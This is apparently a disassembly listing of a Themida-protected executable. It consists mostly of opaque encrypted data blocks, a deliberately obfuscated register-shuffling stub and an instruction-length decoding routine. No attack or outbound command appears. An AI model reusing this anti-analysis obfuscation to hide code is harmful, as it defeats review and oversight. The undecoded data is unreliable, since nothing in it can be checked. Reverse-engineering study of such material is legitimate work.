		dd 1AAD4EE0h, 0DC1D39F0h, 0C1946B84h, 0C095E636h, 68C67C37h
		dd 0A36B6934h, 69655h, 0BD4A2200h, 0BF3C1C6Dh, 0BF381E6Fh
		dd 0C43B1E6Fh, 0C5322374h, 0FD36AE75h, 0FE4F9F58h, 152A26Dh
		dd 51A156h, 2B4D9D6Ah, 5682FDAEh, 0FAD21AAEh, 5D9ABB8Dh
		dd 3C1DF40Dh, 86A8DCAh,	6C4374CCh, 58C111FEh, 0C44F1CF3h
		dd 61AEBC93h, 67A0CAFFh, 3127FE17h, 0FD2E6ACCh,	340Dh
		dd 1E391000h, 5DB9A8D9h, 0FC5C33DFh, 0C236CEFFh, 528C3D56h
		dd 1E1AAE66h, 8E7BAE60h, 59E031E7h, 98F75B36h, 0AE5F78D0h
		dd 1C8D147Fh, 0E1CF813Fh, 6Bh, 1A0EFA94h, 0C7402A01h, 0E516E176h
		dd 0F3A39546h, 0EE8D1A93h, 93F2C23Dh, 3B54121Ah, 93F2178Ah
		dd 70A15F1Ah, 0F6056725h, 0E56C1D70h, 9546E584h, 1A90022Ah
		dd 727BAC6Ah, 0B5A17888h, 8D7B1344h, 0DD3FC8A2h, 913049A1h
		dd 556B1BAh, 0E4AAC65h,	0A382CDDh
		dd 4D241C8Eh, 528EF009h, 3EA06901h, 0C886D102h,	0CA0E78h
		dd 0FAC10000h, 50011A0Eh, 1AAE66ACh, 0F18A26E4h, 663EA152h
		dd 0B8761AAEh, 4C6D0A39h, 74A59C02h, 0EB6C523Fh, 4FFB2E9h
		dd 0FA52D661h, 5F26398h, 2B0FF4A3h, 0EDD5B8DCh,	0DDA25F58h
		dd 6251E7h, 7D540000h, 1F021EEh, 11A0EFAh, 65C7402Ah, 0A859F829h
		dd 1AAE6677h, 0B2E17D3Bh, 7E8BDFC5h, 8B70E71Ch,	5B3F2829h
		dd 1D05E80Ch, 0D23D2E05h, 0B78C85A1h, 297EE7DDh, 31000000h
		dd 0E027EEF3h, 5FF26679h, 81B25D0Eh, 0F0093FE9h, 0AEBA9F3Fh
		dd 7713D11Ah, 0BFA25B48h, 0E0554EDBh, 2947E7DCh, 0FA000000h
		dd 8DE2E2E1h, 9F768F1Ch, 0EB1445CBh, 93F54D89h,	0DE362657h
		dd 39FFFFFEh, 426F1E34h, 6EEDA782h, 0AA2DE093h,	7B6A9B07h
		dd 11A0EFAh, 12314EFCh,	0DB0C3423h, 1A618B3Ch, 31EF1AAEh
		dd 5CFBD2CFh, 22D66E9Fh, 42A46DFDh, 9095AE06h, 2F151073h
		dd 48E718D6h, 8A076897h, 86A281Ch, 1932E612h, 0E999EC68h
		dd 4D662416h, 0C515E276h, 0E15C0DACh, 310EE667h, 7EAA4273h
		dd 91DAB1CAh, 0F5A64576h, 8C5F9FBh, 0E3829B59h,	2C5F74DEh
		dd 1828B814h, 46C51C9Ah, 9E75A6FEh, 0E51245B9h,	9FEF4783h
		dd 24823874h, 38DE8C9Ch, 3181D91Eh, 1B7D8AE0h, 2C45F325h
		dd 2589B97Bh, 77D997AAh, 55958D76h, 5BACFC15h, 0A09DFFFCh
		dd 70ED5001h, 6725AA59h, 4F95F36h, 140EF3A2h, 0D623350Ch
		dd 6E89CEA5h, 6D8ACD1Eh, 978D780Bh, 63F4342Eh, 0FADF4898h
		dd 0C0372201h, 0F3784F68h, 497AB618h, 0D13E2C61h, 0C05FFE6Fh
		dd 636039BBh, 5B86F35Dh, 1C8D25E0h, 38417230h, 6AD04942h
		dd 68A1C91Ah, 57F3784Fh, 8D253BA6h, 65BD7B1Ch, 0F5E31234h
		dd 9E4FEE0Dh, 1C8D2523h, 5E99BC73h, 0D6CCD506h,	893BD496h
		dd 0BB4415ECh, 58A5B38Ah, 2574E7F6h, 7B641C8Dh,	0EC114787h
		dd 0EF0C4B9Ch, 0B1B9908Dh, 69BAF658h, 29DA0BECh, 1C8D25B3h
		dd 0FF07FB5Eh, 254CAF60h, 0C6841C8Dh, 5E99BE95h, 9C474045h
		dd 84B98009h, 8AC628D3h, 2B0132h, 1C8D7659h, 0AAFAF086h
		dd 58E8EE00h, 9BFFFFFFh, 1262AFBBh, 0C460A9C1h,	128D262Bh
		dd 0FD548F9h, 5F1D1C8Dh, 339388E0h, 0D23F2B02h,	0B6AC9536h
		dd 691BF476h, 17C2DCCh,	511C8DEEh, 4D466293h, 3FEE0140h
		dd 31h,	1A0EFAF2h, 66A15001h, 23E11AAEh, 0B66A5887h, 24D4D5CDh
		dd 3EA05DFBh, 50A86109h, 0FF2EDFF8h, 0BF1C8DFBh, 5A11E801h
		dd 56447CADh, 1Fh, 1A0EFA09h, 66A15001h, 23E11AAEh, 8615887h
		dd 0FC2C3D25h, 5382334Ch, 131C8DFBh, 0BBB6A355h, 0CB0062AFh
		dd 1022729Fh, 40173018h, 0F284B92Bh, 8E0931BAh,	20E5B736h
		dd 1CC62397h, 5D9B4CEBh, 0FB1A9326h, 55CCDB3Dh,	5B1A9325h
		dd 0DED76C56h, 39E7E27Ah, 0D203F462h, 3DCAh, 0EFA7D00h
		dd 0CC50011Ah, 0B01A93D0h, 17797ED9h, 0A85FAADBh, 0D8F149AEh
		dd 0DC95B2D3h, 839158Eh, 0D3842320h, 1A936868h,	8B9EAA8h
		dd 1A936891h, 1BA89297h, 0E7E2C222h, 0F914h, 1CF3C700h
		dd 0BA91C23Dh, 4FB5EB0h, 40154AACh, 23606190h, 0BF171A2Eh
		dd 442285Dh, 8DFEE853h,	7D43281Ch, 16F63FE2h, 0CD2F87DFh
		dd 0E535D298h, 9562F5CCh, 0FD87B364h, 35351C8Dh, 69ECC3DCh
		dd 0BFF02C8Eh, 35D298E9h, 0FD2BDDD3h, 0B54B0DE4h, 9E0058A1h
		dd 0B20AEF69h, 0D331E281h, 9D1A93F1h, 36FD6298h, 4E7FA128h
		dd 0E3F54503h, 39EA0335h, 1CB3FF63h, 2610461Dh,	0B2AF0A75h
		dd 348C4A10h, 0DFD3B803h, 0C0C7C169h, 0A03F58B0h, 0B2328CEFh
		dd 0D506C410h, 1F65F36h, 0DBF560B1h, 5AFE3FCEh,	80FF3B9Dh
		dd 0B465E03Dh, 10B25749h, 1B73CB89h, 534EEC60h,	0B59216Fh
		dd 1A7h, 8CDC3933h, 90E01D3Bh, 92E2173Fh, 8FDF1841h, 90E0173Eh
		dd 3D1851C9h, 52196ABAh, 431465B5h, 531768B8h, 0C74466B6h
		dd 0AE49AB16h, 0A613EB1Ah, 0D5D9ABBh, 0F068AEBCh, 156DA90Bh
		dd 1CF35CC5h, 205CBE39h, 0FBEB5607h, 6D2B1C8Dh,	0C474A43Ch
		dd 0D0A6FAABh, 0F0AE1A93h, 0D0187F8Eh, 90E1A93h, 299B9411h
		dd 57F6E7E3h, 93CC3BA6h, 8CBD7B1Ah, 0AB84h, 0AFBB3700h
		dd 8ACB0062h, 4EFC0B6Dh, 7E1C8DFFh, 82D323ECh, 0C7BD1FE8h
		dd 0F7CEE751h, 0F9359774h, 187829C8h, 0E41A93F3h, 83B45D0Dh
		dd 182A7A38h, 0B5A077E0h, 79A4E042h, 1A93E806h,	1F38904Eh
		dd 0CD30E180h, 51A93E8h, 0BC651647h, 0FC1CB341h, 74E253Eh
		dd 64FA0F0h, 5F2036F1h,	35FD6F52h, 0CEE7h, 0F5125A00h
		dd 0F70454A5h, 0F70056A7h, 0FC0356A7h, 0FDFA5BACh, 356EE6ADh
		dd 3687D720h, 398ADA35h, 3889D91Eh, 6385D532h, 48CA35E6h
		dd 320A1AAEh, 4E1CF3C5h, 0F2235FC1h, 6DBD3A1Bh,	0A8C14E1Ch
		dd 0D6F88D1h, 61CAA0D1h, 62AFBBh, 59729FCBh, 0BC1EE982h
		dd 28794F80h, 2475C542h, 11B0C946h, 8DFBFD60h, 981C7B1Ch
		dd 834704BEh, 0E7CF00BEh, 73800BD8h, 8C767F4Ch,	91E12E3Ch
		dd 7BDD2A40h, 966D797Eh, 0F3CEFB33h, 0F8349663h, 0C1986FA0h
		dd 86DE1B3Dh, 403A2324h, 0BFAC6208h, 5BACFC54h,	12E9020Fh
		dd 1450B245h, 20ADFBE3h, 0B0000000h, 43FD6011h,	77354C73h
		dd 68CA4526h, 4F0CFB2Ch, 0F51FCBD0h, 0EC38F861h, 0F430926Dh
		dd 0BB7C6B9Ch, 0CD0264B1h, 0DD12749Dh, 0E61B7D7Ah, 0F3288A85h
		dd 0FE339562h, 93EA057h, 1045A750h, 1A4FB146h, 0C257B93Eh
		dd 815A5452h, 4C2h, 4EA8300h, 5C241487h, 81E38953h, 4C3h
		dd 4EB8100h, 87000000h,	895C241Ch
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	6958h
		mov	[esp], ebp
		mov	ebp, 4F275F80h
		dec	ebp
		xor	ebp, 4904C06Bh
		mov	eax, ebp
		pop	ebp
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 8
		add	ebx, edx
		mov	[ebx], eax
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_543254
; ---------------------------------------------------------------------------
		db 0CFh, 1Bh, 0C1h
		dd 0DC72675h, 0B454B8F4h, 0C5030623h, 98C3E0FFh, 0AD0F73B6h
		dd 0AFA90BFAh, 9C082B45h, 0F7A63D2Eh, 89E212C0h, 5EC13C78h
		dd 0A27E236Ch, 6A99020Dh, 7631E3Ch, 35B7652Eh, 0B749009Fh
		dd 4F3B4279h, 0CEC41660h, 0DEDB4204h, 18F22E73h, 915E3D18h
		dd 0B983517h, 0FCFD031Ch, 1C0C4EF0h, 0B06D5CF5h, 0A0C05E9Dh
		dd 0DAA3440Ah, 8D8D2196h, 623B627h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 84C35343h, 654EF3C2h, 0F1BD8B27h
		dd 89061E14h, 1E23758Dh, 0C7D78B06h, 1E324D85h,	5C1806h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 552BB12Fh, 316985C7h, 61Eh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 156E4FC3h, 0E4B59438h, 0B5FFF28Bh, 61E31B1h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D8C35747h, 1546BE1Fh
		dd 0C68B0FA0h, 16B995FFh, 0E58A061Eh, 95FF006Ah, 61E26C1h
		dd 1FEBC08Bh, 61081AA0h, 8F054DCFh, 8859DC08h, 0F140CD09h
		dd 0A113A7Fh, 0E8A1D0C5h, 279B9F84h, 0E9144866h, 1C8h
		dd 8 dup(418888h), 4 dup(0)
		dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h
		dd 0
		dd 600h, 4444h,	41h, 11111111h,	44444444h, 0C9880299h
		dd 100203h, 118888h, 88888888h,	11111111h, 1644h, 2 dup(88000000h)
		dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2	dup(0)
aIiiiiiiiaiiiii	db '┬┬┬┬┬┬┬┬─┬┬┬┬┬┬┬┬┬┬┬┬┬',0
aIssi		db '┬≥≥┬',8,0
		db 2 dup(0), 88h
aDdddddddiiiiii	db 'DDDDDDDD┬┬┬┬┬┬┬┬',0
aAs		db '─≥',0
		dd 88998000h, 88888888h, 88888900h, 89998888h, 0
		dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h
		dd 8888888h, 3E362E26h,	67666564h, 0F3F2F0h, 0
		dd 0FFFFFFFFh, 4016E6h,	4016FAh, 2 dup(0)
		dd 1, 14h dup(0)
aAcawu		db 'ц─cМwu',0
		align 4
		dd 1, 11h dup(0)
		dd 353E9h, 0E85500h, 5D000000h,	0B823ED81h, 0C7600623h
		dd 23B77085h, 6, 3E816600h, 850FA166h, 0Fh, 0B77485C7h
		dd 60623h, 24E90000h, 8D000000h, 23B77885h, 858D5006h
		dd 623B7C8h, 6A5650h, 1DE8h, 10C48300h,	0FF25h,	74858900h
		dd 610623B7h, 0B774B503h, 858B0623h, 623B770h
		db 5Dh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_58A68B
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_58A697
; ---------------------------------------------------------------------------

loc_58A68B:				; CODE XREF: Themida_:0058A674j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_58A697:				; CODE XREF: Themida_:0058A686j
		push	ebx
		push	esi
		push	edi

loc_58A69A:				; CODE XREF: Themida_:0058A6EFj
					; Themida_:0058A70Bj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_58A6AD:				; CODE XREF: Themida_:0058A6D4j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 623B8DAh
		lea	ebp, [ebp+623B750h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_58A6DA
		inc	cl
		cmp	cl, 0Bh
		jb	loc_58A6AD

loc_58A6DA:				; CODE XREF: Themida_:0058A6C9j
		cmp	cl, 0Bh
		jz	loc_58A737
		cmp	al, 66h
		jnz	loc_58A718
		cmp	byte ptr [ebp-5], 0
		jnz	loc_58A69A
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_58A710
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_58A69A
; ---------------------------------------------------------------------------

loc_58A710:				; CODE XREF: Themida_:0058A6FDj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_58A718:				; CODE XREF: Themida_:0058A6E5j
		cmp	al, 67h
		jnz	loc_58A69A
		cmp	byte ptr [ebp-6], 0
		jnz	loc_58A69A
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_58A69A
; ---------------------------------------------------------------------------

loc_58A737:				; CODE XREF: Themida_:0058A6DDj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_58A763
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_58A768
; ---------------------------------------------------------------------------

loc_58A763:				; CODE XREF: Themida_:0058A742j
		movzx	edi, al
		shr	edi, 1

loc_58A768:				; CODE XREF: Themida_:0058A75Ej
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 623B992h
		lea	ebp, [ebp+623B650h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_58A8EA
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_58A82E
		dec	ecx
		jz	loc_58A811
		dec	ecx
		jnz	loc_58A881
		cmp	byte ptr [ebp-2], 0
		jnz	loc_58A87D
		cmp	byte ptr [ebp-5], 0
		jz	loc_58A7F0
		mov	byte ptr [ebp+0Bh], 2

loc_58A7F0:				; CODE XREF: Themida_:0058A7E6j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 623BA1Eh
		mov	dword ptr [ebp+623B770h], 1
		pop	ebp
		jmp	loc_58A881
; ---------------------------------------------------------------------------

loc_58A811:				; CODE XREF: Themida_:0058A7CBj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_58A85B
		cmp	byte ptr [ebp-5], 0
		jz	loc_58A85B
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_58A85B
; ---------------------------------------------------------------------------

loc_58A82E:				; CODE XREF: Themida_:0058A7C4j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_58A874
		cmp	byte ptr [ebp-5], 0
		jz	loc_58A863
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_58A85B
		mov	[ebp+0Bh], cl

loc_58A85B:				; CODE XREF: Themida_:0058A815j
					; Themida_:0058A81Fj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_58A881
; ---------------------------------------------------------------------------

loc_58A863:				; CODE XREF: Themida_:0058A83Cj
		cmp	dl, 5
		jnz	loc_58A881
		mov	[ebp+0Bh], dl
		jmp	loc_58A881
; ---------------------------------------------------------------------------

loc_58A874:				; CODE XREF: Themida_:0058A832j
		cmp	dl, 6
		jnz	loc_58A881

loc_58A87D:				; CODE XREF: Themida_:0058A7DCj
		mov	byte ptr [ebp+0Bh], 3

loc_58A881:				; CODE XREF: Themida_:0058A7D2j
					; Themida_:0058A80Cj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_58A8AF
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_58A891:				; CODE XREF: Themida_:0058A8A7j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_58A891
		mov	esi, edx

loc_58A8AF:				; CODE XREF: Themida_:0058A884j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_58A8E4
		cmp	edi, 7Fh
		ja	loc_58A8E4
		test	bl, 38h
		jnz	loc_58A8E4
		cmp	byte ptr [ebp-7], 0
		jz	loc_58A8DE
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_58A8E1
; ---------------------------------------------------------------------------

loc_58A8DE:				; CODE XREF: Themida_:0058A8CFj
		push	1
		pop	eax

loc_58A8E1:				; CODE XREF: Themida_:0058A8D9j
		mov	[ebp-1], al

loc_58A8E4:				; CODE XREF: Themida_:0058A8B3j
					; Themida_:0058A8BCj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_58A8EA:				; CODE XREF: Themida_:0058A794j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_58A915
		dec	eax
		dec	eax
		jz	loc_58A90B
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_58A91D
; ---------------------------------------------------------------------------

loc_58A90B:				; CODE XREF: Themida_:0058A8FAj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_58A91A
; ---------------------------------------------------------------------------

loc_58A915:				; CODE XREF: Themida_:0058A8F2j
		mov	al, [ebp-3]
		add	al, 4

loc_58A91A:				; CODE XREF: Themida_:0058A910j
		add	[ebp-1], al

loc_58A91D:				; CODE XREF: Themida_:0058A906j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_58A945
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_58A930:				; CODE XREF: Themida_:0058A93Fj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_58A930

loc_58A945:				; CODE XREF: Themida_:0058A925j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLSs		db '▀пИ≤',0
		db 2 dup(0), 94h
		dd 5000000h, 1000000h, 28000000h, 200000Ah, 20h	dup(0)
		dd 0CC000000h, 0E94284CCh, 0BD4h, 23BDB368h, 0C381E906h
		dd 8A68FFFAh, 0E90623BEh, 0FFFAC377h, 23BF9F68h, 0C36DE906h
		dd 2A68FFFAh, 0E90623C0h, 0FFFAC363h, 23C13968h, 0C359E906h
		dd 9968FFFAh, 0E90623C1h, 0FFFAC34Fh, 23C50968h, 0C345E906h
		dd 5168FFFAh, 0E90623C6h, 0FFFAC33Bh, 52C7720Fh, 7BF0B137h
		dd 0A015DC60h, 0CA3FE685h, 0F66B0EAFh, 37B8C3B5h, 40E2FD72h
		dd 61052095h, 892C47BCh, 0D77373E8h, 488F23C1h,	407E333Fh
		dd 0D6889B27h, 65263209h, 9A5B3D64h, 0F07333EBh, 7E974F31h
		dd 888736FFh, 0ECC73CE5h, 4AD4C4Dh, 7187BFDDh, 3924D273h
		dd 0D2C12339h, 50953924h, 0CAE897DCh, 42F0A5B4h, 0A3B9F13Fh
		dd 3306B641h, 0AD21D015h, 0F0F08668h, 0BC3306B5h, 6C6AD91Fh
		dd 2587E3EDh, 2Ah, 0ED86B36Fh, 0FE4CB9CFh, 74C3F42h, 0CE546D25h
		dd 78686413h, 343306A7h, 67805197h, 0B16D1CC5h,	87E3FFB3h
		dd 0DC6Ch, 3B54B600h, 7E17F9B8h, 965739E4h, 3EC1C06Fh
		dd 7BFC9577h, 31CD4B6h,	19DABC65h, 29C86B6Ah, 6A0BAE47h
		dd 0D77EDDF5h, 0B83B3924h, 0C66984F9h, 55E43D1Fh, 0B0C6FE1Ch
		dd 3924CF34h, 102EDD22h, 42DBCFFAh, 0EF8EA73Fh,	0B74D6446h
		dd 22589736h, 1E924168h, 112A64D9h, 4FE8CA6Bh, 612204ADh
		dd 6DCC8B3Ah, 6EF31EAEh, 476EDAA8h, 56D8F129h, 32E8E493h
		dd 90392697h, 0BDF52D4Bh, 0E53F3DA7h, 25D4192Ch, 67DC8126h
		dd 0F90FAB4Ch, 2CE53EEBh, 3DFF266Bh, 0EC28052Ah, 851AA2A4h
		dd 0C0000009h, 0E6017623h, 0F2A9F46h, 344FC46Dh, 5C77ECB5h
		dd 60A116DBh, 1FC2636Eh, 46F38FAAh, 6D30B6D1h, 9B5ADDF8h
		dd 748A2626h, 3F488F70h, 545931E6h, 48F7BA3Bh, 8C01A449h
		dd 0B227CE71h, 0ED86B3DEh, 0FE4CB9CFh, 74C3F42h, 53D66D25h
		dd 6F4D4387h, 0D67878BDh, 0F51CD7A6h, 0D8964A46h, 79163305h
		dd 0CEC6C433h, 0BA7F87E4h, 0C9000000h, 4F31F073h, 4E6C31B6h
		dd 0AECB135h, 22B89A49h, 3924D739h, 0A63DFD80h,	0D60FC64Fh
		dd 0D60E0A65h, 803923D9h, 849F143Bh, 55E40E1h, 0B213F34h
		dd 3F41E6BEh, 0CDA81D62h, 0D3E9076Ch, 39267636h, 0CC182E6Ah
		dd 8A2CE523h, 0E7001E45h, 842DCB46h, 0AD588BA2h, 480C6B2h
		dd 2641B6DDh, 471ADC81h, 93EC2826h, 8AE0991h, 58E90000h
		dd 6F0D289Dh, 0B23651C6h, 0C4637EF3h, 0E88DA81Dh, 9D8FD045h
		dd 0D348ED92h, 0FA6F2AB8h, 259A5FDFh, 49BE670Ah, 4D97AD49h
		dd 93F4891h, 0F2737C54h, 0E910D157h, 677D93CBh,	0EF3924D2h
		dd 4C86FBAAh, 0FE8720B5h, 1FCE6348h, 5FD49D20h,	31F0738Bh
		dd 7233B64Fh, 0FAA73B54h, 0D0585718h, 0BF6E2F11h, 0B2CA6F4Ah
		dd 24D3489Ch, 0A2C90E39h, 6FB54C84h, 4E1CCF08h,	1239F87Ch
		dd 1ECD9413h, 496D3522h, 0A4C2073Fh, 0D449E88Bh, 1F6B8BCh
		dd 0B1CA7333h, 6601863Ch, 6A809ED3h, 392015B7h,	9DB6D419h
		dd 0C684041Bh, 0D50193D4h, 5C0BCCAEh, 0AF33CA82h, 0C757DB69h
		dd 633E3AE9h, 22C0AD20h, 38FD8217h, 506E9556h, 1ACAE018h
		dd 3C991B31h, 254C48F7h, 4B9F3963h, 6ECB2406h, 0E0D1E705h
		dd 10991E76h, 1194ADCBh, 0A0B66E50h, 8CDB8544h,	0F7A6CD12h
		dd 0E788A1D9h, 0F09F6042h, 32A74EF1h, 76F59417h, 6C9356D7h
		dd 0E0A2C98Ah, 4C1E4A93h, 99F1797Bh, 0D4000007h, 21D924Fh
		dd 2B46BB7Ah, 5873E889h, 809B10D1h, 84C53AFFh, 43E68792h
		dd 722FB3CEh, 995CE2FDh, 0BF660924h, 98AE4A4Ah,	3F48924Ch
		dd 547D550Ah, 0D2DE061Ch, 5B783924h, 42F118D9h,	6867B683h
		dd 68B0E2F8h, 2B521396h, 87D0E604h, 0B53F4898h,	29501198h
		dd 0A64FF20Bh, 0EA972BC4h, 0DDF614C3h, 0E721965Fh, 0D8872ECEh
		dd 859B53D9h, 3301215Fh, 0A98BB2F7h, 8F4AD8F1h,	3E3DECADh
		dd 5538FABBh, 99F243E8h, 70E0F97h, 0B8490000h, 0CF6D88FDh
		dd 1296B126h, 24C3DE53h, 48ED087Dh, 0FDEF30A5h,	33A84DF2h
		dd 5ACF8A18h, 85FABF3Fh, 0A91EC76Ah, 0EDF70DA9h, 693F4892h
		dd 86B3DCB4h, 0D304E0F6h, 0D523924h, 0A5B2C8E6h, 0ED3F488Eh
		dd 0F7341756h, 7524CA5Ch, 0D3066601h, 0AF8DE906h, 0AE516A88h
		dd 86B79207h, 33B6CFEDh, 20CF9072h, 0C204EC02h,	256A3301h
		dd 0C234AD43h, 0DD7A3301h, 0E12A2897h, 30E387E8h, 2D000000h
		dd 0D3F18AB3h, 0BE6D28BAh, 0D25E8AA0h, 0BB003924h, 0D19D43D9h
		dd 720F3924h, 0D1BFBD2Ch, 0C7881C5h, 5C000000h,	5100A143h
		dd 1E88499h, 54520000h,	48C4DABDh, 0B7CDF11Ah, 39255D2Dh
		dd 0EBDE429h, 0E7520D74h, 2FD56C8Ah, 68434FCAh,	1A304EFDh
		dd 3F438707h, 14AA84C9h, 0E2B1F626h, 0ADCBA891h, 7ACADA97h
		dd 0F4799689h, 31B64F31h, 0A2C98A6Ch, 0F940997Bh, 6D445A78h
		dd 83835FDEh, 6407203Eh, 8A2D48BDh, 0B35629EBh,	9EA0365Fh
		dd 5FF16h, 0ECA93A00h, 15DC5C77h, 42E385A0h, 6A0BB2CDh
		dd 9055DAF5h, 0DDE8DA1Bh, 5209558h, 304BC07Dh, 5B76EB8Eh
		dd 0A4A419D8h, 93F2F208h, 0AF643F48h, 31F073D7h, 2E43F64Fh
		dd 8AA0D810h, 3924D25Ah, 0C08B7FCh, 3F42F085h, 0AFC8E62Bh
		dd 0C283650Ch, 0E0839E13h, 7A9A7F41h, 0B2B4F249h, 59F2Ah
		dd 8C49DA00h, 0B57CFC17h, 0E2832540h, 0AAB526Dh, 30F57A95h
		dd 7D887ABBh, 0A5C035F8h, 0D0EB601Dh, 0FB168B2Eh, 4444B978h
		dd 945292A8h, 4F043F48h, 0DBF07377h, 0D77868Bh,	2EB6CC78h
		dd 283925B8h, 0B395BCE3h, 4F78971Ah, 0EC517BE9h, 6F1B5AD7h
		dd 4002803Bh, 0B3B63719h, 21059C6Dh, 64957139h,	0CA6D6C1Bh
		dd 0E0DEB62Bh, 2381C5A0h, 0FB0FD5EBh, 2473924h,	42AB53h
		dd 0B3F50000h, 0B9CFED86h, 3F42F5FCh, 0B4C761FCh, 0AACA36CFh
		dd 0D50BA183h, 0EE330625h, 0B1C8AA4Bh, 0D75548E5h, 6A0E0D64h
		dd 89B071F3h, 0E02623A7h, 0D53F006h, 0E41DA09Eh, 22CAE387h
		dd 6B2CD483h, 76000000h, 0F9B83B54h, 0E8A75617h, 0D1132951h
		dd 853924D2h, 0F51CC568h, 0D323C1D7h, 0EE333924h, 5B71A9C7h
		dd 3924D289h, 0BBD988CDh, 431FF3A5h, 6886CB3Fh,	280AAF4Fh
		dd 819AB867h, 0ADC53AFBh, 33068734h, 2947EE91h,	0E3C56C10h
		dd 0DD842322h, 168B3AFBh, 0A7BD7DFBh, 3306873Dh, 868B596Fh
		dd 86CB3306h, 0C4A6CD12h, 47B3Ch, 86B30A00h, 0E4B9CFEDh
		dd 0E43F42DFh, 0C768819Fh, 0C6CF152Bh, 42873306h, 0D28A6C1Bh
		dd 0C660849Ah, 0B1F63306h, 0C1600302h, 8F556BA3h, 0C73306C6h
		dd 6DF1D382h, 81B82A70h, 0E1BCD2F0h, 3D3924D3h,	0BAF5EF05h
		dd 4CD62CE8h, 29D81D91h, 0E0FB70B5h, 59B2945Dh,	5F7593E0h
		dd 3306D112h, 59189BB4h, 9307B677h, 0E2F8304Eh,	26CAA402h
		dd 0E2021854h, 7426CAA3h, 7759082Fh, 0B2344D09h, 77BD40EFh
		dd 658322C5h, 0A3CD172Dh, 448926CAh, 0F4452095h, 1029617Fh
		dd 2DE5C772h, 0CAA3CD17h, 1D448926h, 0BA83726Eh, 0B0F52CE8h
		dd 0FCB235CEh, 0AC8CFEE6h, 8835CD20h, 0C6A8CF14h, 7FF13758h
		dd 995CE1BAh, 0B1CFF6B7h, 71531698h, 680DB1B0h,	0F816C586h
